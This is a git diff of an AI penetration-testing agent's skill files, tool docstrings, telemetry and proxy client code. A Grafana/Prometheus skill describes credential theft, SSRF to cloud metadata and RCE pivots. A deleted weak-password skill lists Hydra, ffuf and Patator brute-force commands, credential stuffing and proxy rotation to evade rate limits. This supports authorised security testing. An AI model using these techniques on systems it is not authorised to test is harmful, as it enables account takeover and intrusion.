- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
-17
View File
@@ -365,23 +365,6 @@ agent-browser dialog accept "text" # accept with prompt input
agent-browser dialog dismiss # cancel
```
## Readiness & recovery
The first `agent-browser open` in a session launches the headless-Chrome
daemon; later commands reuse it. Distinguish the two failure modes and react
differently — do **not** blindly re-run the same failing command in a loop:
- **Daemon / connection failure** (`Failed to connect`, `connection refused`,
socket missing, `browser not running`): the daemon isn't up or has died. Run
`agent-browser doctor` (add `--fix` if it reports repairable problems), then
re-open the page. Retrying the original command unchanged will keep failing.
- **Malformed command** (`Unknown command`, `Ref not found`, bad flag): fix the
command itself — re-snapshot for fresh refs, or correct the syntax.
Invoke `agent-browser` directly through `exec_command`; there is no need to wrap
it in an extra `sh -c "..."` / `bash -lc "..."` layer, which only adds shell
quoting and startup-file pitfalls.
## Diagnosing install issues
If a command fails unexpectedly (`Unknown command`, `Failed to connect`,
+3 -18
View File
@@ -24,15 +24,7 @@ High-signal flags:
- `-p, -parallelism <n>` concurrent input targets
- `-rl, -rate-limit <n>` request rate limit
- `-timeout <seconds>` request timeout
- `-ct, -crawl-duration <s|m|h|d>` maximum time to crawl the target
- `-retry <n>` retry count
- `-mdp, -max-domain-pages <n>` cap pages crawled per domain (default: unlimited)
- `-fsu, -filter-similar` collapse similar URLs (e.g. /users/123 and /users/456)
- `-fs, -field-scope <dn|rdn|fqdn|regex>` crawl scope (default `rdn` = root domain + ALL subdomains)
- `-f, -field <url|path|...>` emit only one field (e.g. `-f url` for a plain URL list)
- `-or, -omit-raw` omit raw request/response from JSONL output
- `-ob, -omit-body` omit response body from JSONL output
- `-mrs, -max-response-size <bytes>` cap per-response bytes read (default 4194304)
- `-ef, -extension-filter <list>` extension exclusions
- `-tlsi, -tls-impersonate` experimental JA3/TLS impersonation
- `-hl, -headless` enable hybrid headless crawling
@@ -45,13 +37,13 @@ High-signal flags:
- `-silent`, `-j, -jsonl`, `-o <file>` output controls
Agent-safe baseline for automation:
`mkdir -p crawl && katana -u https://target.tld -d 3 -ct 10m -mdp 2000 -fsu -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`
`mkdir -p crawl && katana -u https://target.tld -d 3 -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`
Common patterns:
- Fast crawl baseline:
`katana -u https://target.tld -d 3 -jc -silent`
- Deeper JS-aware crawl (narrowed target; keep it time-bounded):
`katana -u https://target.tld -d 5 -ct 15m -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`
- Deeper JS-aware crawl:
`katana -u https://target.tld -d 5 -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`
- Multi-target run with JSONL output:
`katana -list urls.txt -d 3 -jc -silent -j -o katana.jsonl`
- Headless crawl with local Chrome:
@@ -67,13 +59,6 @@ Critical correctness rules:
- For `-kf`, keep depth at least `-d 3` so known files are fully covered.
- If writing to a file, ensure parent directory exists before `-o`.
Keeping output small (katana has NO default page cap, so plan for volume):
- Bound scope and volume: `-fs fqdn` (or `-cs`/`-cos` regex) so the crawl doesn't wander across every subdomain, `-mdp <n>` to cap pages per domain, `-fsu` to collapse near-identical URLs, and `-ct`/`-d` to bound time and depth.
- Shrink each record: default JSONL is verbose. If you only need endpoints, emit a plain URL list with `-f url` instead of `-j`. If you need JSONL, drop the heavy parts with `-or` (omit raw) and `-ob` (omit body), and lower `-mrs` to cap per-response bytes.
- Reserve `-jsl` / `-kf all` / higher `-d` for a specific narrowed target — they multiply output fast on large sites.
- Reduce, then delete: once the crawl finishes, extract just what you need (e.g. `katana ... -f url -o urls.txt` or `sort -u` a URL list, or a short note of interesting paths) and remove the raw crawl file/dir. Don't keep large raw crawls around after you've distilled them.
- Sanity-check size (`du -sh <out>`); if it's outsized for the scope, tighten `-fs`/`-mdp`/`-fsu`/`-d`/`-ct` and re-run rather than keeping it.
Usage rules:
- Keep `-d`, `-c`, `-p`, and `-rl` explicit for reproducible runs.
- Use `-ef` early to reduce static-file noise before fuzzing.
+8 -17
View File
@@ -7,9 +7,9 @@ description: Run Python through exec_command in the SDK sandbox. Use the image-b
Use `exec_command` for Python. There is no separate Strix Python executor.
Prefer writing reusable scripts to a `.py` file and running them with
`python3 <name>.py`. For short one-off transformations, `python3 -c` or a
small here-document is fine.
Prefer writing reusable scripts to `/workspace/scratch/<name>.py` and
running them with `python3 /workspace/scratch/<name>.py`. For short
one-off transformations, `python3 -c` or a small here-document is fine.
The `shell` parameter on `exec_command` is for swapping POSIX shells
(`bash`/`zsh`/`sh`), not for picking interpreters. Put the interpreter
@@ -84,26 +84,17 @@ automatically, so it shows up in `list_requests` and you can use
For iterative exploit work, put code in a file:
```text
1. Create or edit a task-unique script (e.g. `poc_<task-id>.py`, so it can't
clobber a project file or another agent's script) with `apply_patch`.
2. Run it with `exec_command`: `python3 poc_<task-id>.py`.
1. Create or edit `/workspace/scratch/exploit.py` with `apply_patch`.
2. Run it with `exec_command`: `python3 /workspace/scratch/exploit.py`.
3. Edit and rerun until the proof-of-concept is reliable.
```
## Installing extra packages
The sandbox's Python lives in `/app/.venv`, and it is the active virtualenv
(`python3` / `pip` already resolve to it). The following common libraries are
**pre-installed** — import them directly, no install step needed:
`requests`, `httpx`, `beautifulsoup4` (`bs4`), `lxml`, `pyjwt` (`jwt`),
`cryptography`.
To add a one-off dependency for an exploit script, use `uv` (already in the
image and much faster than pip):
The sandbox's Python lives in `/app/.venv`. To add a one-off dependency
for an exploit script, use `uv` (already in the image and much faster
than pip):
```bash
uv pip install --python /app/.venv/bin/python <package>
```
Plain `pip install <package>` also works because the venv is active. Install
before you import, so scripts don't fail with `ModuleNotFoundError`.
@@ -130,13 +130,6 @@ TLS clues: certificate CN/SAN referencing provider default host instead of the c
3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
## Severity
- Score severity based on current claimability plus trusted-origin impact, not just a provider-branded error page
- When evaluating severity, use `web_search` (if available) for the exact provider/product to confirm whether it now enforces subdomain takeover prevention such as TXT/custom-domain ownership verification or reserved-hostname protections; if search is unavailable, do not treat that absence as evidence that the provider prevents claiming
- If you have positively confirmed the provider currently prevents third-party claiming and you cannot bypass that control, treat the finding as low severity rather than a confirmed takeover — an unconfirmed provider control is not grounds for downgrading
- Reserve high/critical severity for cases where you can claim the resource or strongly prove claimability and show meaningful impact such as OAuth redirect abuse, cookie scope abuse, CSP trust, email receipt, or NS delegation control. E.g. Elastic Beanstalk takeovers are still generally legitimate.
## False Positives
- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
@@ -1,212 +0,0 @@
---
name: weak-password-detection
description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and tooling like Hydra
---
# Weak Password Detection / Credential Brute-Force
Weak or default credentials remain one of the most prevalent and high-impact vulnerabilities. This skill covers systematic detection of weak passwords through dictionary attacks, credential stuffing, system-generated password prediction, and brute-force tooling.
## Attack Surface
- Login portals (web, API, mobile, SSH, FTP, Telnet, RDP)
- Admin panels, dashboards, and management interfaces
- Default or hardcoded credentials in applications and devices
- Self-registration flows with weak password policies
- Password reset flows that generate predictable tokens or passwords
- API key and token authentication with weak secrets
## Reconnaissance
### Identify Authentication Endpoints
- Standard login forms: `/login`, `/signin`, `/auth`, `/authenticate`, `/api/login`
- Admin panels: `/admin`, `/administrator`, `/manage`, `/console`, `/cpanel`
- API auth: `/api/v1/token`, `/oauth/token`, `/api/auth`, `/graphql` (login mutations)
- Service ports: SSH (22), FTP (21), Telnet (23), SMB (445), RDP (3389), MySQL (3306), PostgreSQL (5432), Redis (6379), MongoDB (27017)
- Mobile app login endpoints and deep-link auth handlers
### Determine Authentication Mechanism
- Form-based (POST with username/password fields)
- Basic Authentication (Base64 `Authorization: Basic ...`)
- Bearer token / JWT (password grant flow)
- API key in header, query parameter, or body
- Multi-step authentication (username first, then password)
- CAPTCHA presence and type (reCAPTCHA, hCaptcha, image-based, math)
- Rate limiting indicators (429 responses, lockout messages, delays)
### Enumerate Valid Usernames
- Error message differentiation: "Invalid username" vs "Invalid password"
- Registration page username availability checks
- Password reset flow: response timing or message leakage
- Public profiles, API responses, or metadata exposing usernames
- Common patterns: `admin`, `administrator`, `root`, `user`, `test`, `guest`, `support`, `service`, `api`, `dev`, `ops`
- Email format derivation from company domain patterns
## Key Vulnerabilities
### Weak Password Policies
- No minimum length or complexity requirements
- Allowing common passwords: `password`, `123456`, `qwerty`, `admin`, `letmein`
- Not checking against breached password databases (Have I Been Pwned)
- Case-insensitive password storage
- No password history enforcement
- Excessively short maximum length (indicates plaintext or weak hashing)
### Default and Hardcoded Credentials
- Vendor defaults: `admin/admin`, `admin/password`, `root/root`, `guest/guest`
- Application frameworks: `django/admin`, `tomcat/tomcat`, `weblogic/weblogic`
- IoT devices, routers, cameras: manufacturer-specific defaults
- Database defaults: `postgres/postgres`, `sa/sa`, `root/(empty)`
- Cloud defaults: AWS instance metadata, Azure default service principals
- Hardcoded in source code, configuration files, or documentation
### Credential Stuffing
- Users reuse passwords across services
- Breached credential lists (COMB, Collection #1-5, etc.) enable mass account takeover
- No multi-factor authentication allows direct access with valid credentials
- Missing breach detection or forced password rotation after known leaks
### Predictable System-Generated Passwords
- Sequential or pattern-based: `Password1`, `Welcome2025!`, `CompanyName123`
- Time-based generation: passwords derived from registration timestamp
- Weak randomness: predictable PRNG seeds in password generators
- Reset tokens that double as temporary passwords with short expiration
### Brute-Force Vulnerabilities
- No rate limiting on login attempts
- Absent or ineffective account lockout (client-side only, easily bypassed)
- IP-based blocking without session/user correlation (rotate IPs via proxy)
- CAPTCHA bypassable or only triggered after excessive attempts
- Parallel login attempts not tracked (race conditions on attempt counters)
- Verbose error messages revealing valid usernames
## Advanced Techniques
### Targeted Password Lists
- Generate custom wordlists from:
- Company name, product names, and domain components
- Geographic location, industry terms
- Season + year patterns: `Summer2025!`, `Winter2026@`
- Keyboard walks and leet speak variations
- Previously breached passwords for the target domain
- Cewl: `cewl -d 3 -m 5 -w custom.txt https://target.com` to generate from website content
### Credential Stuffing Workflows
- Use breach databases filtered by target domain or related domains
- Test email:password pairs where email matches target domain
- Test username:password pairs with common username derivations
- Validate successful logins without triggering MFA by checking session endpoints
### Multi-Step Authentication Bypass
- Username enumeration → password brute-force on second step
- Session fixation between steps: manipulate step identifiers
- Skip steps via direct URL access to later stages
- Response manipulation to bypass verification checks
### API and Mobile-Specific
- GraphQL login mutations: batch brute-force via array inputs
- Mobile APIs often lack rate limiting compared to web frontends
- JWT password grant flows: brute-force against `/token` endpoint
- OAuth2 password grant: test `grant_type=password` with weak credentials
### Service-Level Brute-Force
- SSH: `hydra -l admin -P passwords.txt ssh://target.com`
- FTP: `hydra -L users.txt -P passwords.txt ftp://target.com`
- RDP: `hydra -l administrator -P passwords.txt rdp://target.com`
- SMB: `hydra -L users.txt -P passwords.txt smb://target.com`
- Database: MySQL, PostgreSQL, MongoDB, Redis with weak credentials
- API endpoints: `ffuf` or custom scripts for HTTP-based brute-force
## Tooling
### Hydra (Primary Tool)
- HTTP POST form brute-force:
`hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"`
- Basic Auth:
`hydra -L users.txt -P passwords.txt target.com http-get -s 8080 /admin`
- SSH:
`hydra -l root -P passwords.txt -t 4 ssh://target.com`
- FTP:
`hydra -L users.txt -P passwords.txt ftp://target.com`
- Custom headers and cookies:
`hydra ... http-post-form "/api/login:json={\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:F=401"`
### ffuf (HTTP Fuzzing)
- Login brute-force with multiple users and passwords:
`ffuf -w users.txt:USER -w passwords.txt:PASS -u https://target.com/login -X POST -d "username=USER&password=PASS" -fr "Invalid"`
- Filter by response size, status code, or regex to identify successes
### Patator (Versatile Brute-Force)
- `patator http_fuzz url=https://target.com/login method=POST body='username=FILE0&password=FILE1' 0=user.txt 1=pass.txt -x ignore:fgrep='Invalid'`
### Custom Python Scripts
- Use `requests` with threading for high-speed API brute-force
- Implement jitter and proxy rotation to evade rate limiting
- Parse CSRF tokens dynamically between requests
### Wordlists
- `/usr/share/wordlists/rockyou.txt` (common passwords)
- `/usr/share/seclists/Passwords/` (organized by category)
- `/usr/share/seclists/Passwords/Default-Credentials/` (vendor defaults)
- Custom lists from Cewl, CeWL, or target-specific scraping
- Breach compilation subsets filtered by target relevance
## Validation
1. Confirm successful login with captured credentials (session token, cookie, or JWT)
2. Verify account access level: admin vs user privileges
3. Check if MFA is enforced post-login or can be bypassed
4. Test credential reuse across other endpoints or services
5. Document password policy weaknesses that allowed the breach
6. Verify if the same credentials work on staging, dev, or related domains
## False Positives
- Honey accounts or honeypot responses designed to mislead attackers
- Temporary lockouts that resolve quickly (distinguish from permanent bans)
- Different error messages that don't actually indicate valid username enumeration
- CAPTCHA or WAF blocking that appears as a failed login
- Rate limiting that returns 429 instead of 401 (adjust timing)
## Impact
- Complete account takeover for affected users
- Administrative access leading to full system compromise
- Lateral movement via reused credentials across services
- Data exfiltration, privilege escalation, and persistence
- Reputational damage and compliance violations (GDPR, PCI-DSS)
## Pro Tips
1. Always start with default credentials and vendor-specific lists before broad brute-force
2. Enumerate usernames first; password brute-force without valid users is inefficient
3. Use small, targeted wordlists before massive lists like rockyou.txt
4. Monitor for rate limiting and adapt delays; aggressive brute-force causes IP bans and alerts
5. Test for password spraying (one password, many users) before targeted brute-force
6. Check for concurrent session limits; successful logins may kick out legitimate users
7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
9. When Hydra is unavailable, use ffuf or custom scripts with equivalent logic
10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
## Summary
Weak password detection requires systematic enumeration of authentication surfaces, intelligent wordlist selection, and careful brute-force execution. The highest impact often comes from default credentials, password spraying, and credential stuffing rather than exhaustive brute-force. Always validate findings with confirmed logins and assess the full scope of account compromise.
+2 -3
View File
@@ -2,7 +2,7 @@
To help make Strix better for everyone, we collect anonymized data that helps us understand how to better improve our AI security agent for our users, guide the addition of new features, and fix common errors and bugs. This feedback loop is crucial for improving Strix's capabilities and user experience.
We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis, along with [Scarf](https://scarf.sh). Our telemetry implementation is fully transparent - you can review the source code ([posthog.py](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py), [scarf.py](https://github.com/usestrix/strix/blob/main/strix/telemetry/scarf.py)) to see exactly what we track.
We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis. Our telemetry implementation is fully transparent - you can review the [source code](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py) to see exactly what we track.
### Telemetry Policy
@@ -16,8 +16,7 @@ We collect only very **basic** usage data including:
**System Context:** OS type, architecture, Strix version\
**Scan Context:** Scan mode (quick/standard/deep), scan type (whitebox/blackbox)\
**Model Usage:** Which LLM model is being used (not prompts or responses)\
**Feature Usage:** Which built-in skills are loaded\
**Aggregate Metrics:** Vulnerability counts by severity and weakness category (CWE)
**Aggregate Metrics:** Vulnerability counts by severity
### What We **Never** Collect
+5 -24
View File
@@ -26,10 +26,10 @@ def _is_enabled() -> bool:
return load_settings().telemetry.enabled
def _send(event: str, properties: dict[str, Any]) -> bool:
def _send(event: str, properties: dict[str, Any]) -> None:
if not _is_enabled():
logger.debug("posthog disabled; skipping event %s", event)
return False
return
try:
payload = {
"api_key": _POSTHOG_PUBLIC_API_KEY,
@@ -46,10 +46,8 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
pass
except Exception: # noqa: BLE001
logger.debug("posthog send failed for event %s", event, exc_info=True)
return False
else:
logger.debug("posthog event sent: %s", event)
return True
def start(
@@ -73,34 +71,17 @@ def start(
)
def finding(severity: str, cwe: str | None = None, is_cve: bool = False) -> None:
def finding(severity: str) -> None:
_send(
"finding_reported",
{
**base_props(),
"severity": severity.lower(),
"cwe": (cwe or "").strip().lower() or "unknown",
"is_cve": is_cve,
},
)
def skill_loaded(skill_name: str) -> None:
_send(
"skill_loaded",
{
**base_props(),
"skill": skill_name,
},
)
def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
if report_state.posthog_scan_ended_sent:
return
if report_state.scan_ended_exit_reason is None:
report_state.scan_ended_exit_reason = exit_reason
vulnerabilities_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for v in report_state.vulnerability_reports:
sev = v.get("severity", "info").lower()
@@ -129,11 +110,11 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
except (TypeError, ValueError, AttributeError):
pass
report_state.posthog_scan_ended_sent = _send(
_send(
"scan_ended",
{
**base_props(),
"exit_reason": report_state.scan_ended_exit_reason,
"exit_reason": exit_reason,
"duration_seconds": round(duration),
"vulnerabilities_total": len(report_state.vulnerability_reports),
**{f"vulnerabilities_{k}": v for k, v in vulnerabilities_counts.items()},
+5 -25
View File
@@ -28,10 +28,10 @@ def _is_enabled() -> bool:
return load_settings().telemetry.enabled
def _send(event: str, properties: dict[str, Any]) -> bool:
def _send(event: str, properties: dict[str, Any]) -> None:
if not _is_enabled():
logger.debug("scarf disabled; skipping event %s", event)
return False
return
try:
props = dict(properties)
version = str(props.pop("strix_version", get_version()) or "unknown")
@@ -47,10 +47,8 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
pass
except Exception: # noqa: BLE001
logger.debug("scarf send failed for event %s", event, exc_info=True)
return False
else:
logger.debug("scarf event sent: %s", event)
return True
def start(
@@ -75,36 +73,18 @@ def start(
)
def finding(severity: str, cwe: str | None = None, is_cve: bool = False) -> None:
def finding(severity: str) -> None:
_send(
"finding_reported",
{
**base_props(),
"session": SESSION_ID,
"severity": severity.lower(),
"cwe": (cwe or "").strip().lower() or "unknown",
"is_cve": is_cve,
},
)
def skill_loaded(skill_name: str) -> None:
_send(
"skill_loaded",
{
**base_props(),
"session": SESSION_ID,
"skill": skill_name,
},
)
def end(report_state: ReportState, exit_reason: str = "completed") -> None:
if report_state.scarf_scan_ended_sent:
return
if report_state.scan_ended_exit_reason is None:
report_state.scan_ended_exit_reason = exit_reason
vulnerabilities_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for v in report_state.vulnerability_reports:
sev = v.get("severity", "info").lower()
@@ -135,12 +115,12 @@ def end(report_state: ReportState, exit_reason: str = "completed") -> None:
except (TypeError, ValueError, AttributeError):
pass
report_state.scarf_scan_ended_sent = _send(
_send(
"scan_ended",
{
**base_props(),
"session": SESSION_ID,
"exit_reason": report_state.scan_ended_exit_reason,
"exit_reason": exit_reason,
"duration_seconds": round(duration),
"vulnerabilities_total": len(report_state.vulnerability_reports),
**{f"vulnerabilities_{k}": v for k, v in vulnerabilities_counts.items()},
+9 -22
View File
@@ -229,8 +229,7 @@ async def wait_for_message( # noqa: PLR0911
Use when you have nothing useful to do until a child/peer responds
typically after spawning subagents and you want to wait for
their completion reports. The agent automatically resumes when any
message arrives, so pick a ``timeout_seconds`` proportional to the
work you're awaiting.
message arrives.
**Critical caveats:**
@@ -247,19 +246,9 @@ async def wait_for_message( # noqa: PLR0911
reason: One-line note shown in graph snapshots while you're
waiting (helps a human or sibling agent debug who's stuck
on what).
timeout_seconds: Max seconds to wait (default 600). This is only
a cap the tool returns the INSTANT a message arrives, so a
larger value never makes you wait longer when the reply does
come. Right-size it to what you're waiting on: a short wait
(e.g. 10-60s) for a quick ack or a small/fast subtask, and a
longer one (e.g. ~100-200s) only for genuinely long-running
work (deep recon, exploitation, a full sub-scan). The cap only
bites when the expected message never arrives so an oversized
timeout on a trivial wait just strands you idle until it
elapses. On timeout the tool returns and you decide whether to
keep working or wait again. (Applies to autonomous multi-agent
runs; in interactive/chat sessions the agent instead parks until
a message arrives and this cap is not enforced.)
timeout_seconds: Hard cap (default 600s). On timeout the tool
returns and you decide whether to keep working or wait
again.
"""
inner = _ctx(ctx)
coordinator = coordinator_from_context(inner)
@@ -492,10 +481,9 @@ async def agent_finish(
3. Stops this subagent's execution.
**Vulnerability findings must already be filed via
``create_vulnerability_report`` (or ``create_dependency_report``
for known-CVE dependency/supply-chain findings) before calling
this.** The ``findings`` field here is for narrative summary only
it does not register vulns in the scan report.
``create_vulnerability_report`` before calling this.** The
``findings`` field here is for narrative summary only it does
not register vulns in the scan report.
Write the summary as if the parent has no idea what you were
doing: what did you test, what did you find/confirm/rule out,
@@ -506,9 +494,8 @@ async def agent_finish(
and specific (URLs, parameters, payloads that worked).
findings: Optional bullet list of confirmed observations. For
credit-bearing vulnerabilities, file
``create_vulnerability_report`` first (or
``create_dependency_report`` for dependency CVEs); this is
for narrative.
``create_vulnerability_report`` first; this is for
narrative.
success: Whether the assigned subtask was completed
successfully. Default ``True``.
report_to_parent: Whether to deliver the completion report to
+4 -101
View File
@@ -96,15 +96,6 @@ async def finish_scan(
2. Writes the four narrative sections to the scan record.
3. Marks the scan completed and stops execution.
**This is a terminal action, not a status probe.** Whatever you pass
is persisted VERBATIM as the final, customer-facing report and then
execution stops. There is no draft mode and no second chance: never
submit placeholder, provisional, or "checking if done" text in any
field, and never call ``finish_scan`` to poll whether subagents are
done (use ``view_agent_graph`` / ``wait_for_message`` for that).
Call it exactly ONCE, only when every field holds genuine, finished
assessment prose.
**Pre-flight checklist (mandatory do not skip):**
1. **Call ``view_agent_graph`` first.** Inspect every entry in the
@@ -117,39 +108,19 @@ async def finish_scan(
Calling ``finish_scan`` while children are alive orphans their
work and produces an incomplete report.
2. All vulnerabilities you found are filed via
``create_vulnerability_report`` or, for known-CVE dependency
findings, ``create_dependency_report`` (un-reported findings are
not tracked and not credited). A dependency CVE already filed via
``create_dependency_report`` counts as reported; it does NOT need
re-filing here and does NOT block finishing.
``create_vulnerability_report`` (un-reported findings are not
tracked and not credited).
3. Don't double-report — one report per distinct vulnerability.
4. **Attack-chaining gate.** Do NOT finish until you have genuinely
considered chaining the confirmed findings into higher-impact,
end-to-end attack paths and tested every plausibly-related
combination. You may rule out combinations you can confidently
call unrelated note why instead of padding chains. Any
validated chain must already be filed via
``create_vulnerability_report`` a demonstrated end-to-end chain
is a PoC-backed vulnerability, so it uses that tool even when one
link is a dependency CVE (the standalone CVE stays in its own
``create_dependency_report``) and surfaced prominently in
``executive_summary`` / ``technical_analysis``. Finding no real
chain after a serious attempt is acceptable; skipping the
chaining reasoning, or ignoring a plausibly-related combination,
is not.
**Calling this multiple times overwrites the previous report.**
Make the single call comprehensive.
**Report output rules** (this content may be rendered into generated
reports):
**Customer-facing report rules** (this output is rendered into the
final PDF the client sees):
- Never mention internal infrastructure: no local/absolute paths
(``/workspace/...``), no agent names, no sandbox/orchestrator/
tooling references, no system prompts, no model-internal errors.
Never leak internal identifiers (proxy request IDs, internal
vulnerability report IDs, or any system-generated IDs) into any
field.
- Tone: formal, third-person, objective, concise. This is a
consultant deliverable, not an engineering log.
- Each section has a specific role:
@@ -169,74 +140,6 @@ async def finish_scan(
(Immediate / Short-term / Medium-term), each with concrete
remediation steps. End with retest/validation guidance.
- **Formatting use markdown in every field.** These fields may be
rendered into generated reports, so structure them clearly: lead
each section with a short ``# Heading``, use ``**bold**`` for labels/emphasis,
``inline code`` for identifiers/paths/parameters, bullet or
numbered lists for enumerations, and fenced code blocks
(```` ```language ````) for any code/payload excerpts. Never emit
one flat wall of prose or leave code unformatted.
- If **zero** vulnerabilities were found, say so plainly and
characterize the posture positively; ``technical_analysis`` should
summarize the areas tested and confirm no issues, and
``recommendations`` should focus on general hardening.
Example (abbreviated mirror this structure, not the wording)::
executive_summary:
# Executive Summary
An external assessment of the **Acme Customer Portal**
identified multiple weaknesses that could lead to
unauthorized access to customer data.
**Overall risk posture:** Elevated.
**Key findings**
- Confirmed SSRF in a URL-preview feature reaching internal
network ranges.
- Broken tenant isolation enabling cross-tenant data access.
**Business impact**
- Potential exposure of customer records across tenants.
methodology:
# Methodology
Conducted per the **OWASP WSTG**.
**Engagement type:** Gray-box external test.
**Scope:** `https://app.acme.example`, `.../api/v1/`.
**Activities:** recon, authn/session review, authorization
and tenant-isolation testing, input/SSRF testing.
technical_analysis:
# Technical Analysis
**Severity model** reflects exploitability x impact.
1. **SSRF in URL preview** (Critical) insufficient
destination validation; reaches link-local addresses.
2. **Broken tenant isolation** (High) object identifiers
accepted without ownership checks.
**Systemic themes:** authorization enforced inconsistently;
no deny-by-default egress policy.
recommendations:
# Recommendations
**Immediate**
1. Remediate SSRF: enforce a destination allowlist,
deny-by-default, re-validate on every redirect hop.
**Short-term**
2. Centralize authorization with deny-by-default middleware.
**Retest & validation:** re-test immediate items to confirm
SSRF and tenant-isolation controls hold.
Args:
executive_summary: Business-level summary for leadership.
methodology: Frameworks, scope, and approach.
+40 -113
View File
@@ -21,8 +21,6 @@ from caido_sdk_client.types import (
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client as CaidoClient
@@ -44,7 +42,6 @@ _SITEMAP_PAGE_SIZE = 30
_DEFAULT_CAIDO_URL = "http://127.0.0.1:48080"
_CLIENT_CACHE: dict[str, Client] = {}
_CLIENT_LOCK = asyncio.Lock()
_REQ_FIELD_MAP: dict[SortBy, tuple[str, str]] = {
"timestamp": ("req", "created_at"),
"host": ("req", "host"),
@@ -84,46 +81,19 @@ def _login_as_guest() -> str:
return str(payload["data"]["loginAsGuest"]["token"]["accessToken"])
async def _new_client() -> Client:
async def get_client() -> Client:
if client := _CLIENT_CACHE.get("default"):
return client
token = await asyncio.to_thread(_login_as_guest)
client = Client(caido_url(), auth=TokenAuthOptions(token=token))
await client.connect()
_CLIENT_CACHE["default"] = client
return client
async def get_client() -> Client:
"""Return the shared Caido client, creating it under a lock if needed.
The lock prevents two concurrent callers from each building a client and
racing ``connect()`` on the same transport ("Transport is already
connected").
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return client
async def call_with_client[T](fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized through ``_CLIENT_LOCK``.
The Caido GraphQL transport is not safe for concurrent use: two in-flight
requests race and raise "Transport is already connected". Serializing every
proxy call through the lock prevents that.
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return await fn(client)
async def close_client() -> None:
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.pop("default", None)
client = _CLIENT_CACHE.pop("default", None)
if client is None:
return
await client.aclose()
@@ -167,9 +137,6 @@ async def get_request_with_client(
return await client.request.get(request_id, opts)
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
def build_raw_request(
*,
method: str,
@@ -190,16 +157,7 @@ def build_raw_request(
final_headers = {**headers}
final_headers.setdefault("Host", parsed.netloc)
final_headers.setdefault("User-Agent", "strix")
# Framing headers inherited from the captured request describe the ORIGINAL
# body; once the body is modified for replay they are stale. We always send a
# plain (non-chunked) body with an explicit Content-Length, so drop any
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
# recompute the length from the body actually being sent. This keeps the two
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
# Transfer-Encoding would make the target ignore Content-Length and try to
# parse the body as chunked), so the replay is never desynced.
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
if body:
if body and "Content-Length" not in {k.title() for k in final_headers}:
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
lines = [f"{method.upper()} {path} HTTP/1.1"]
@@ -427,23 +385,19 @@ async def list_requests(
sort_order: SortOrder = "desc",
scope_id: str | None = None,
) -> Any:
return await call_with_client(
lambda client: list_requests_with_client(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
